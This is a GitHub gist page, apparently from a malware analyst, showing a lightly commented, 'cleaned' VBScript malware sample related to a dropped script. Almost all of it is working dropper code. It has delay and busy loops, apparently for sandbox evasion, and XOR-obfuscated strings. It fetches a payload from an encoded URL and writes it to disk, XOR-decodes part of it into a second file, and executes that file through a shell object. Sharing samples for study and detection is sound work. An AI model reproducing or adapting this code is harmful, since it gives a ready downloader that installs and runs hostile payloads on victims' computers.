Skip to content

Instantly share code, notes, and snippets.

@Antelox Antelox/vbs_cleaned.vbs Secret
Created Jul 14, 2016

Embed
What would you like to do?
VBS cleaned related to vbs_dropped.vbs
DiM BeXExdU
****************************************************************************************************
Sub MjX2jEP()
SHj=""""
RoMO=BeXExdU & LO6F & QAR("6F233923","FA")
Pi BeXExdU & QAR("6B1B190F","JEqihx"),RoMO
iF NvFLDqD="" tHEN UX0(4)
FK="Xf"
sEt DG=crEATEobjeCT(QAR("310B052A0F281276353003340A",FK))
DG.ruN SHj & RoMO & SHj,2952-2951,3057-3057
End suB
****************************************************************************************************
****************************************************************************************************
fuNCTion Pi(NU,L5)
diM KtdnnFk,IMOMhem,LD8Ht,QQvlw,AhdtC(5)
AhdtC(4)=56
AhdtC(1)=100
AhdtC(2)=103
AhdtC(5)=57
AhdtC(3)=53
AhdtC(0)=104
SEt KtdnnFk=crEateOBjEct(QAR("6411220B08043D59157E24111C31640B23161D1D1B551835010C", "T7rPbxp"))
SEt IMOMhem=KtdnnFk.getFILE(NU)
sET QQvlw=IMOMhem.opeNAstExtStREAM(7344-7343,4140-4140)
QQvlw.SkiP((-3106+8174))
sEt LD8Ht=KtdnnFk.crEaTEtExTfIle(L5,6596-6595,6210-6210)
dO unTil QQvlw.AteNDoFstReaM
LD8Ht.wRitE CRjB4(N5t(Qge3PL(QQvlw.rEaD(722-721)),AhdtC(0)))
LoOp
LD8Ht.cLOSe
QQvlw.CLoSE
eNd funCtIoN
****************************************************************************************************
****************************************************************************************************
fuNCTion Qge3PL(IHhqL) 'get the dec ascii code of the char passed as argument
Qge3PL=aSc(IHhqL)
EnD fuNctIon
****************************************************************************************************
****************************************************************************************************
FUnCtiOn LO6F() 'get the seconds of current time
LO6F=SecoND(TImE)
ENd fuNCtiOn
****************************************************************************************************
Se
****************************************************************************************************
fuNCtIoN XqMW(MP)
DiM NkNi,MZeP
TXFpi46="WuQG"
Set NkNi=cReatEoBJeCt(QAR("220224251C2133792639223B19",TXFpi46))
YQX
Set F6=NkNi.eNvirONMent(QAR("3165230571030A","Ya7lF4P"))
BeXExdU=F6(QAR("19220507391819","LXrUCx"))&CRjB4(92)& LO6F & LO6F
QT6h="Dq5BYt9"
SeT MZeP=creaTEobjEct(QAR("3C5C212B1B4A2B17416C0139750C256112",QT6h))
MZeP.OpeN QAR("727636","C53bsi"),MP,1978-1978 '*********************************************************************
MZeP.SEnd()
if MZeP.STaTuS=200 then
YQX
UX0(4)
Cs MZeP.reSpoNSEbODY
end if
eNd FUNCtioN
****************************************************************************************************
****************************************************************************************************
suB Se()
RUXRC=91782317
For ClFZS=1 To RUXRC
Tsz5=Tsz5+1
NeXT
If Tsz5=RUXRC thEn
UX0(250)
XqMW(QAR("382D11214A777F3B17381E3F7D34007F19367F2A107F1A2837","XPYeQp"))
EnD iF
EnD Sub
****************************************************************************************************
****************************************************************************************************
Sub UX0(BBQk9Rx) 'delay
dIm RYYQB1Z
RYYQB1Z=timER+BBQk9Rx
dO WhiLe TimER<RYYQB1Z
lOoP
eNd Sub
***************************************************************************************************
****************************************************************************************************
suB Cs(V7Aznv)
dIM XwEB
LfuLTwU="ICih5"
seT XwEB=creATeObjECt(QAR("022D27710B6D3A1C472C2204",LfuLTwU))
XwEB.oPeN
XwEB.tYPE=1692-1691
XwEB.wriTe V7Aznv
XwEB.saveTofile BeXExdU & QAR("18283157","I6BA0mS"),7034-7032 '**********************************************************
XwEB.CLOse
MjX2jEP
EnD suB
****************************************************************************************************
****************************************************************************************************
suB YQX() 'probably do nothing
Dim Q0F9zS, YFKjp4
For Q0F9zS = 64 To 5000263
YFKjp4 = Sr4gna + 6 + 75 + 96
Next
eNd Sub
****************************************************************************************************
****************************************************************************************************
fUNctIon N5t(U1X7v6,Vfi2NT)
N5t=(U1X7v6 AnD noT Vfi2NT)oR(NoT U1X7v6 aND Vfi2NT)
eNd fUncTiOn
****************************************************************************************************
****************************************************************************************************
fUnCTIOn QAR(Lz,SkHjfd) 'deobfuscate a string
diM JLJXb,Y8xV,TKRg8
For JLJXb=1 To (LEn(Lz)/2)
Y8xV=(CRjB4(38) & CRjB4(72)&(mID(Lz,(JLJXb+JLJXb)-1,2)))
TKRg8=(Qge3PL(mId(SkHjfd,((JLJXb MoD Len(SkHjfd))+1),1)))
QAR=QAR+CRjB4(N5t(Y8xV,TKRg8))
Next
ENd functIoN
****************************************************************************************************
****************************************************************************************************
sUb S72qH81()
Dim E0QT5vd,CwHM
dO whiLE E0QT5vd<>2520-2519
CwHM=CwHM+1
LoOP
EnD SUb
****************************************************************************************************
****************************************************************************************************
FunCTiOn CRjB4(Ab93Ig)
CRjB4=ChR(Ab93Ig) 'from ascii code to char
eND FUNction
****************************************************************************************************
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.